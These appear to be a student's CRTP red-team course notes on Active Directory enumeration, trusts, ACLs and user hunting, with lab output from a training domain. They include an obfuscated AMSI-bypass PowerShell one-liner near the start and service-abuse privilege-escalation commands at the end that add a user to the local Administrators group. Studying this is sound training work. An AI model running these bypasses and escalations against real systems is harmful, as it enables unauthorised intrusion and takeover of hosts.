CRTP Notes Meshari Almalki
CRTP Notes Meshari Almalki
CRTP Notes Meshari Almalki
Active Directory:
Active Directory (AD) is Microsoft's proprietary directory service. It runs on Windows Server
and enables administrators to manage permissions and access to network resources.
Active Directory stores data as objects. An object is a single element, such as a user,
group, application or device such as a printer. Objects are normally defined as either
resources, such as printers or computers, or security principals, such as users or groups.
PowerShell Cmdlets:
Get-Command -CommandType cmdlet
Execution Policy:
powershell -ExecutionPolicy bypass
powershell -c <cmd>
PowerShell Module:
Import-Module <modulePath>
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'z
X' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'m
ation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'ta
t'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Transfare File:
# PSCP command
pscp <username>@<ip_of_target-Machine>:/<Directory_Of_file> <Destination>
Domain Enumeration
I can use it by .NET class or by scripts like [ PowerView.ps1 ]
CRTP-Notes-Meshari-Almalki 1
📌 Check this GitHub Gist for other PowerShell bypasses — reigningshells/powershell-
bypasses.ps1
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Name → Child Domain Name { dollarcorp } { Just one level we have inside Forest}
2. PowerView.ps1
CRTP-Notes-Meshari-Almalki 2
c. Get-DomainSID → Print Domain SID Number ,
d. Get-DomainPolicy → Print Domain Policy for current domain .
(Get-DomainPolicy).”Name_Of_Specific_DomainPolicy”.
(Get-DomainPolicy).’system access’
This help to show value of Domain Policy Like Kerberos Policy , For attack like Golden
Tikcet.
e. Get-NetDomainController
CRTP-Notes-Meshari-Almalki 3
3. ADModule:
a. Import-Module <Microsoft.ActiveDirectory.Management.dll>
Commands of ADModule:
Get-ADDomainController
Users Enumeration
1. PowerView
CRTP-Notes-Meshari-Almalki 4
Get-NetUser → List all users ,
Important :
Search for particular string in a user’s attribute why ??
2. ADModule
CRTP-Notes-Meshari-Almalki 5
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType
*Property | select Name
Computer Enumeration
1. PowerView
Get-NetComputer -FullData
2. ADModule
Group Enumeration
1. PowerView
Get-NetGroup -FullData
Get-NetGroup “Domain Admins” -FullData → Specifie Group Domain Admins .(ﺑﻴﻌﻄﻴﻚ ﻣﻌﻠﻮﻣﺎت
) ﺗﻔﺼﻴﻠﻴﻪ ﻣﻨﻬﺎ ﻣﻦ اﻟﻴﻮزرات ﺻﻼﺣﻴﺘﻬﻢ دوﻣﻴﻦ ادﻣﻦ
CRTP-Notes-Meshari-Almalki 6
Get-NetGroup -GroupName “*admin*” → All groups Contains admin keyword
2. ADModule
CRTP-Notes-Meshari-Almalki 7
1. PowerView
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : svcadmin
MemberSID : S-1-5-21-1874506631-3219952063-538504511-1122
IsGroup : False -> This mean is a member not a group
MemberDN : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator -> Built-in Default Domain Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500 -> for Administrator (500)
IsGroup : False -> This mean is a member not a group
MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
500 اﻧﻪ ﻣﻤﻜﻦ ﻳﺘﻐﻴﺮ اﺳﻢ اﻻدﻣﻦ اﻟﻰ اﺳﻢ اﺧﺮ ﻓﻌﺸﺎن ﻛﺬا ﻧﻘﺪر ﻧﻤﻴﺰة ﺑﺮﻗﻢ500 اﻟﻔﻜﺮه ﻣﻦ رﻗﻢ 👍
GroupDomain : moneycorp.local
GroupName : Enterprise Admins
MemberDomain : moneycorp.local -> ﻣﺜﻞ ﻣﺎﻗﻠﺖ ﺗﺎﺑﻊ ﻟﻠﺪوﻣﻴﻦ ذا
MemberName : Administrator
CRTP-Notes-Meshari-Almalki 8
MemberSID : S-1-5-21-280534878-1496970234-700767426-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=moneycorp,DC=local
ﻫﺬا ﻣﻌﻨﺎه اذا ﻛﺎن ﻋﻨﺪك ﻋﺒﺎرة ﻋﻦ ﻗﺮوب وﺗﺒﻲ ﺗﻄﻠﻊ اﻟﻤﻤﺒﺮ اﻟﺨﺎص ﻓﻴﻬﻢ ﻟﻜﻞ واﺣﺪ ﻧﺴﺘﺨﺪم رﻳﻜﻴﺮس
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : moneycorp.local
MemberName : Enterprise Admins
MemberSID : S-1-5-21-280534878-1496970234-700767426-519
IsGroup : True -> ﻫﺬا ﻋﺒﺎره ﻋﻦ ﻗﺮوب داﺧﻠﻪ ﻣﻴﻤﺒﺮ
MemberDN : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : dollarcorp.moneycorp.local
MemberName : Domain Admins
MemberSID : S-1-5-21-1874506631-3219952063-538504511-512
IsGroup : True
MemberDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False -> ﻫﺬا ﻣﻴﻤﺒﺮ ﻟﻠﻘﺮوب اﻟﻠﻲ ﻫﻮ ادﻣﻨﺴﺘﺮﻳﺘﻮر
MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
CRTP-Notes-Meshari-Almalki 9
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : moneycorp.local
MemberName : Enterprise Admins
MemberSID : S-1-5-21-280534878-1496970234-700767426-519
IsGroup : True
MemberDN : CN=Enterprise Admins,CN=Users,DC=moneycorp,DC=local
GroupDomain : moneycorp.local
GroupName : Enterprise Admins
MemberDomain : moneycorp.local
MemberName : Administrator -> Enterprise Adminsﻣﻴﻤﺒﺮ ﺧﺎص ﺑﺎل
MemberSID : S-1-5-21-280534878-1496970234-700767426-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : dollarcorp.moneycorp.local
MemberName : Domain Admins
MemberSID : S-1-5-21-1874506631-3219952063-538504511-512
IsGroup : True
MemberDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : svcadmin -> Domain Adminsﻣﻴﻤﺒﺮ ﺧﺎص ﺑﺎل
MemberSID : S-1-5-21-1874506631-3219952063-538504511-1122
IsGroup : False
MemberDN : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Domain Admins
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
GroupDomain : dollarcorp.moneycorp.local
GroupName : Administrators
MemberDomain : dollarcorp.moneycorp.local
MemberName : Administrator
MemberSID : S-1-5-21-1874506631-3219952063-538504511-500
IsGroup : False
MemberDN : CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
CRTP-Notes-Meshari-Almalki 10
ﻋﺸﺎن اﻋﺮف اﻟﻴﻮزر ﻓﻲ اي ﻗﺮوب ﻣﻮﺟﻮد:
Get-NetGroup -UserName <UserName>
# ﻫﻨﺎ ﺣﺪدت اﻟﺪوﻣﻴﻦ ﻓﻮرﺳﺖ وﻋﻄﺎﻧﻲ ﻣﻌﻠﻮﻣﺎت زﻳﺎدة وﻣﻨﻬﺎ اﻻﻧﺘﺮﺑﺮاﻳﺲ ادﻣﻦ ﻗﺮوب
# 519 رﻗﻤﻪ
PS C:\AD\Tools> whoami
dcorp\student181
PS C:\AD\Tools> Get-NetGroup -UserName "student182"
dcorp\RDPUsers
dcorp\Domain Users
PS C:\AD\Tools> Get-NetGroup -UserName "student182" -FullData
grouptype : -2147483646
displayname : RDP Users
samaccounttype : 268435456
samaccountname : RDPUsers
whenchanged : 10/7/2021 12:53:14 PM
objectsid : S-1-5-21-1874506631-3219952063-538504511-1116 -> not built in group
objectclass : {top, group}
cn : RDP Users
usnchanged : 2769985
dscorepropagationdata : {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:0
name : RDP Users
adspath : LDAP://dcorp-dc.dollarcorp.moneycorp.local/CN=RDP Users,CN
description : RDP Users Group
distinguishedname : CN=RDP Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
member : {CN=student190,CN=Users,DC=dollarcorp,DC=moneycorp,DC=loca
CN=student188,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
usncreated : 14632
whencreated : 2/17/2019 1:27:15 PM
instancetype : 4
objectguid : 46ead3d4-f93c-4c0f-8f43-81c5e802e0a4
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
usncreated : 12318
grouptype : -2147483646
samaccounttype : 268435456
samaccountname : Domain Users
whenchanged : 2/17/2019 7:01:46 AM
objectsid : S-1-5-21-1874506631-3219952063-538504511-513 -> built in group
objectclass : {top, group}
cn : Domain Users
usnchanged : 12320
dscorepropagationdata : {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:
memberof : CN=Users,CN=Builtin,DC=dollarcorp,DC=moneycorp,DC=local
adspath : LDAP://dcorp-dc.dollarcorp.moneycorp.local/CN=Domain User
iscriticalsystemobject : True
description : All domain users
distinguishedname : CN=Domain Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=lo
name : Domain Users
whencreated : 2/17/2019 7:01:46 AM
instancetype : 4
CRTP-Notes-Meshari-Almalki 11
objectguid : 1d9a6145-d382-4711-92a1-35939195e601
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
ComputerName : dcorp-dc.dollarcorp.moneycorp.local
AccountName : dollarcorp.moneycorp.local/Administrator
IsDomain : True
IsGroup : False
SID : S-1-5-21-1874506631-3219952063-538504511-500 -> Administrator user
Description :
Disabled :
LastLogin : 4/6/2022 6:27:00 AM
PwdLastSet :
PwdExpired :
UserFlags :
ComputerName : dcorp-dc.dollarcorp.moneycorp.local
AccountName : dollarcorp.moneycorp.local/Domain Admins
IsDomain : True
IsGroup : True
SID : S-1-5-21-1874506631-3219952063-538504511-512
Description :
Disabled :
LastLogin :
PwdLastSet :
PwdExpired :
UserFlags :
CRTP-Notes-Meshari-Almalki 12
ComputerName UserDomain UserName UserSID
------------ ---------- -------- -------
dcorp-dc.dollarcorp.moneycorp.local dcorp Administrator S-1-5-21-1874506631-3219952063-538504511-500
List last logged user on computer ( need administrative and registry on the target )
Invoke-ShareFinder -Verbose -> This will Get all share Include IPC and Print etc
CRTP-Notes-Meshari-Almalki 13
Invoke-FileFinder -Verbose -> Find Files sensitive on computer in the Domain
Get-NetFileServer -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://DC=dollarcorp,DC=moneycorp,DC=local
Allows Configuration of :
1. Security settings
2. Registrty-based policy
4. Software installation
usncreated : 8016
systemflags : -1946157056
displayname : Default Domain Policy -> Name OF GPO
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4
EA-00C04F79F83A}{803E14A0-
B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB9
4F17}]
whenchanged : 2/17/2019 7:14:30 AM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 13009
dscorepropagationdata : {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}
name : {31B2F340-016D-11D2-945F-00C04FB984F9} -> ObjectID
adspath : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=
local
flags : 0
cn : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject : True
gpcfilesyspath : \\dollarcorp.moneycorp.local\sysvol\dollarcorp.moneycorp.local\Policies\{31B2F340-016D-11D2-945F-00C0
4FB984F9}
distinguishedname : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
whencreated : 2/17/2019 7:00:13 AM
versionnumber : 3
instancetype : 4
objectguid : cd0c7024-e03a-4369-958b-9c93fbd25649
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
displayname
-----------
Default Domain Policy # This by default GPO
Default Domain Controllers Policy # This by default GPO
Applocker # This Custom GPO
Servers # This Custom GPO
Students # This Custom GPO
# hostname
-> dcorp-std181
CRTP-Notes-Meshari-Almalki 14
usncreated : 65831
displayname : Students -> GPO
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4
EA-00C04F79F83A}{803E14A0
B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 4/20/2019 6:22:16 AM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 123144
dscorepropagationdata : {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}
name : {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
adspath : LDAP://CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=
local
flags : 0
cn : {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
gpcfilesyspath : \\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{3E04167E-C2B6-4A9A-8FB7-C811
158DC97C}
distinguishedname : CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
whencreated : 2/19/2019 7:04:25 AM
versionnumber : 8
instancetype : 4
objectguid : 8ecdfe44-b617-4b9e-a9f9-4d548e5dc7b1
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
ComputerName : dcorp-std181.dollarcorp.moneycorp.local
is a container within a Microsoft Active Directory domain which can hold users, groups and
computers.
It is the smallest unit to which an administrator can assign Group Policy settings or
account permissions.
An organizational unit can have multiple OUs within it, but all attributes within the
containing OU must be unique.
Get-NetOu -FullData
usncreated : 8147
CRTP-Notes-Meshari-Almalki 15
systemflags : -1946157056
iscriticalsystemobject : True
gplink : [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=loca
whenchanged : 2/17/2019 7:00:13 AM
objectclass : {top, organizationalUnit}
showinadvancedviewonly : False
usnchanged : 8147
dscorepropagationdata : {7/2/2021 1:08:59 PM, 5/3/2020 9:04:05 AM, 5/3/2020 9:04:05 AM, 5/3/2020 9:04:05 AM...}
name : Domain Controllers
adspath : LDAP://OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local
description : Default container for domain controllers
distinguishedname : OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local
ou : Domain Controllers
whencreated : 2/17/2019 7:00:13 AM
instancetype : 4
objectguid : 051cb518-0bf2-47e4-a3a4-ec36edf5e662
objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
Get-NetOU
LDAP://OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local
LDAP://OU=StudentMachines,DC=dollarcorp,DC=moneycorp,DC=local
usncreated : 65831
displayname : Students -> GPO name
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA
B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged : 4/20/2019 6:22:16 AM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 123144
dscorepropagationdata : {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}
name : {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
adspath : LDAP://CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=loc
flags : 0
cn : {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
gpcfilesyspath : \\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{3E04167E-C2B6-4A9A-8FB7-C811158
distinguishedname : CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},CN=Policies,CN=System,DC=dollarcorp,DC=moneycorp,DC=local
whencreated : 2/19/2019 7:04:25 AM
versionnumber : 8
instancetype : 4
objectguid : 8ecdfe44-b617-4b9e-a9f9-4d548e5dc7b1
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
2. Security Descriptors
b. Discretionary ACL ( DACL ) → Defines the permissions trustees ( users , groups ) have
on an object
CRTP-Notes-Meshari-Almalki 16
1. System ACL ( SACL ) → Logs success and failure audit message when an object is
accessed
CRTP-Notes-Meshari-Almalki 17
note\ Every object have Security Descriptors
ACE → individual permission or audits access. Who has a permission and what can be done
on an object ?
DACL & SACL → Very Important for attacker , DACL Look more cool and
usefull , SACL logs any changes you made to any objects
CRTP-Notes-Meshari-Almalki 18
Get the ACLs associated with the specified object :
InheritedObjectType : All
ObjectDN : CN=student190,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : BUILTIN\Administrators
IsInherited : True
ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : ContainerInherit
InheritanceType : All
CRTP-Notes-Meshari-Almalki 19
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-49160
IdentityReference is who has access to the object. As seen above, the built-in
administrators’ group has access to the student181 object.
The WriteOwner permission indicates the object’s ownership which means that the built-
in administrators have full control on the Student181 object. The WriteDACl is right
to modify the objects DACL’s list.
There are other interesting permissions to look for when enumerating Active Directory
rights like in the below list:
CRTP-Notes-Meshari-Almalki 20
To filter through a specific type of permission, use the equal (-eq) operator and
pass it the permission type such as “GenericAll.”
shows the groups who have the GenericAll (full control) permissions on the Student181
object
Get the ACLs associated with the specified prefix to be used for search
CRTP-Notes-Meshari-Almalki 21
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
Run the Get-ObjectACL command with the ADSPrefix parameter to search for specific
controls using common names [CN], organizational units[OU], or domain controllers [DC]
in the example below, I searched for the access entries associated with the student
machines Organizational Unit
CRTP-Notes-Meshari-Almalki 22
We can search for access controls of network shares like SYSVOL share for enumerating
group policy objects and scripts using its UNC path.
UNC → The Universal Naming Convention is the naming system used in Microsoft Windows for
accessing shared network folders and printers on a local area network.
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins, CN=Users, DC=dollarcorp, DC=monycorp, DC=local" -ResolveGUIDS -Verbose
InheritedObjectType : All
ObjectDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
ActiveDirectoryRights : GenericRead
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-512 -> -ResolveGUIDS
CRTP-Notes-Meshari-Almalki 23
Invoke-ACLScanner -ResolveGUIDS
InheritedObjectType : All
ObjectDN : CN=Support179User -> User ,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : All
IdentityReference : dcorp\RDPUsers -> Group RDPUsers
IsInherited : False
ActiveDirectoryRights : GenericAll -> Full Permission
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-49134
IdentitySID : S-1-5-21-1874506631-3219952063-538504511-1116
Trusts
Trust → relationship between two domains or forests which allowes users of one domain or
forest to access resources in the other domain or forest.
Each Trust can Represent as → Trusted Domain Object ( TDO )
TDO → Each domain within a forest is represented by a TDO that is stored in the System
container within its domain.
Active Directory follows a clear hierarchy, from top to bottom. In that hierarchy are:
forests, trees, and domains.
1. Forest → represent the complete Active Directory instance, and are logical containers
made up of
a. Domain Trees
b. Domains
c. Organizational Units
2. Trees → collections of domains within the same DNS namespace ; these include child domains .
CRTP-Notes-Meshari-Almalki 24
In simplest terms, it is the process of extending the security boundary of an AD domain or
forest to include another AD domain or forest.
Trust Direction:
1. One-way trust ( Unidirectional ) → Users in the trusted domain can access resources in
the trusting domain but the reverse is not true. ( i trust you, but you don’t trust me
)
ﻟﻜﻦ اﻟﻌﻜﺲ ﻣﻤﻨﻮع, ﻫﻨﺎ اﻟﺪوﻣﻴﻦ ﺑﺎﻟﻴﺴﺎر ﻳﻌﻄﻲ ﺻﻼﺣﻴﻪ ﻟﻠﻮﺻﻮل ﻟﻤﻮارده ﻣﻦ اﻟﺪوﻣﻴﻦ اﻟﻠﻲ ﺑﺎﻟﻴﻤﻴﻦ.
2- Two-Way ( bidirectional ) → Users of Both domains can access resource in other domain.
Domain 2 has a one-way trust to Domain 1. That means all resources within Domain 1 are
🚫
permitted to access the resources of Domain 2 but not vice versa (domain 2 cannot access
domain 1)
Trust Transitivity :
Transitive Trust:
Can be extended to esatblish trust relationship with other domains.
CRTP-Notes-Meshari-Almalki 25
All the default intra-forest trust relationships (Tree-root, Parent-Child) between
domains within a same forest are transitive two-way trusts
Non-Transitive Trust:
Cannot be extended to other domains in the forest. Can be two-way or one-way.
This is the default trust (called external trust) between two domains in different
forests when forests do not have a trust relationship. → ﻫﺬي ﺑﻴﻦ اﻟﺪوﻣﻴﻨﺎت ﻓﻲ ﻓﻮرﻳﺴﺖ ﻣﺨﺘﻠﻔﺎت
CRTP-Notes-Meshari-Almalki 26
2 ﻫﻨﺎ اﻟﻌﻼﻗﻪ ﻣﻮ ﻣﻊ اﻟﻔﻮرﻳﺴﺖ ﺑﺸﻜﻞ ﻛﺎﻣﻞ ﻓﻘﻂ اﻟﺪوﻣﻴﻦ رﻗﻢ
Trusts can be created using the New Trust Wizard found in the Active
Directory Domains and Trusts console, or using the Netdom command line
utility
Relationship Trust:
1. Parent/Child Trust
2. Tree/Root Trust
3. Shotcut Trust
4. Forest Trust
5. Realm Trust
6. External Trust
Crtp-Report-Exam
Trust
Characteristics Direction AuthenticationMechanism Notes
Type
Parent- Created automatically when a child
Transitive Two-way Kerberos V5 or NTLM
Child domain is added.
Tree- Created automatically when a new Tree
Transitive Two-way Kerberos V5 or NTLM
Root is added to a forest.
CRTP-Notes-Meshari-Almalki 27
Trust
Notes
Type Characteristics Direction AuthenticationMechanism
Parent-Cild
They can only exist between two domains in the same tree with the same contiguous
namespace. The parent domain is always trusted by the child domain. You cannot
manually create a Parent-Child trust.
Tree-Root
A tree-root trust can only be established between the roots of two trees in the
same forest and are always transitive. You cannot manually create a tree-root
trust.
Shortcut
manually created, one-way, transitive trusts. They can only exist within a forest.
They are created to optimize the authentication process shortening the trust path.
CRTP-Notes-Meshari-Almalki 28
Forest Trust
manually created, one-way transitive or two-way transitive , trusts that allow you
to provide access to resources between multiple forests.
Forest trusts uses both Kerberos v5 and NTLM authentication across forests where
users can use their Universal Principal Name (UPN) or their Pre-Windows 2000
method (domainName\username). Kerberos v5 is attempted first, and if that fails,
it will then try NTLM.
External Trust
External trusts allow you to provide users access to resources in a domain outside
of the forest that is not already trusted by a Forest trust.
External trusts are NTLM based, meaning users must authenticate using the Pre-
Windows 2000 logon method (domain\username).NTLM requires NetBIOS name resolution
CRTP-Notes-Meshari-Almalki 29
support for functionality.
Realm Trust
Trust Relationships with Other Operating Systems that also Support Kerberos
Protocol
Get-NetDomainTrust -> get available trusts within the current or any other trusted domain in the same or external fore
Get-NetDomainTrust -Domain <DomainName>
CRTP-Notes-Meshari-Almalki 30
the existing domain “dollarcorp.moneycorp.local” has 3 trust relationships:
RootDomainSid : -
Name : eurocorp.local -> External Forest
Sites : {Default-First-Site-Name}
Domains : {eurocorp.local, eu.eurocorp.local}
GlobalCatalogs : {eurocorp-dc.eurocorp.local, eu-dc.eu.eurocorp.local}
ApplicationPartitions : {DC=DomainDnsZones,DC=eu,DC=eurocorp,DC=local, DC=ForestDnsZones,DC=eurocorp,DC=local, DC=Doma
ForestModeLevel : 7
ForestMode : Unknown
RootDomain : eurocorp.local
Schema : CN=Schema,CN=Configuration,DC=eurocorp,DC=local
SchemaRoleOwner : eurocorp-dc.eurocorp.local
NamingRoleOwner : eurocorp-dc.eurocorp.local
CRTP-Notes-Meshari-Almalki 31
Get-NetForestDomain
Get-NetForestDomain -Forest <ForestName>
The above result show that within Our Forest → moneycorp.local is the root domain
, because it doesn’t have any parent domains , and its child domain →
dollarcorp.moneycorp.local
moneycorp.local → dollarcorp.moneycorp.local →
us.dollarcorp.moneycorp.local
User Hunting
CRTP-Notes-Meshari-Almalki 32
On Foothold machine i’ll to check if that user have a local admin access on any other machine
on the domain → so that is a very important to check that by Find-LocalAdminAccess
Find all machines on the current domain Where the current user has local admin access :
Find-LocalAdminAccess -Verbose
Get-NetComputer | Invoke-CheckLocalAdminAccess
CRTP-Notes-Meshari-Almalki 33
Some time there is a some issue when some ports like ( RPC AND SMB ) used by Find-
LocalAdminAccess are blocked so i’ll used a Find-WMILocalAdminAccess.ps1 to do that :
PS C:\AD\Tools> Find-WMILocalAdminAccess
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
SerialNumber : 00377-80000-00000-AA544
Version : 10.0.14393
The current user has Local Admin access on: dcorp-adminsrv.dollarcorp.moneycorp.local -> dcrop-adminsrc ( Other Machine )
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
SerialNumber : 00377-80000-00000-AA549
Version : 10.0.14393
The current user has Local Admin access on: dcorp-std181.dollarcorp.moneycorp.local -> dcorp-std181 ( My Machine )
WARNING: Something went wrong. Check the settings, confirm hostname etc, The RPC server is unavailable. (Exception from HRESULT: 0x
CRTP-Notes-Meshari-Almalki 34
Find Local admins on all machines of the domain ( Needs Administrator privs on non-dc
machines )
Invoke-EnumerateLocalAdmin -Verbose
Get-NetComputer | Get-NetLocalGroup
Invoke-UserHunter -> Looks for a session of domain admin on all the machine on the Domain and check if the have local admin access
Invoke-UserHunter -GroupName "RDPUsers"
CRTP-Notes-Meshari-Almalki 35
Get-NetComputer | Get-NetSession
Invoke-UserHunter
CRTP-Notes-Meshari-Almalki 36
Confirm admin access :
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Stealth -> Find Computer where a domain admin is logged-in -> chance of success is lower
Missing patches.
CRTP-Notes-Meshari-Almalki 37
Automated deployment and AutoLogon password in ClearText. → AutoLogon stored in Win
registry in cleartext .
Tools:
PowerUp
BeRoot
Privesc
Get-ServiceUnquoted -Verbose
Get-WmiObject -Class win32_service | select PathName -> Get all path name of services on current machine
By PowerUp.ps1
Invoke-AllChecks
#OR
Get-ServiceUnquoted -Verbose
CRTP-Notes-Meshari-Almalki 38
#Abuse
Write-ServiceBinary -Name 'AbyssWebServer' -Path C:\WebServer\Abyss.exe -Command "net localgroup Administrators user /add"
#Restart Service
sc stop AbyssWebServer
sc start AbyssWebServer
Invoke-AllChecks
#OR
Get-ModifiableServiceFile -Verbose -> Get services when the current user can overright the binary path or change the args
Why The second does not a vuln Unquoted ? Because the space in Program Files (x86) that
you need
administrator privesc to overright on these file :).
#Abuse
Install-ServiceBinary -Name "AbyssWebServer" -Command "net localgroup administrators user /add"
CRTP-Notes-Meshari-Almalki 39
# Manual
Write-ServiceBinary -Name 'AbyssWebServer' -Command "command" -Path "C:\WebServer\Abyss.exe"
# Enumeration
Invoke-AllChecks
#OR
Get-ModifiableService -verbose -> Modifiy the service it self and temporary make it point to another exec file
# Abuse
Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net localgroup administrators user /add"
# Manual
sc config "servicename" binPath= "cmd.exe /c net localgroup Administrators user /add"
sc stop "servicename"
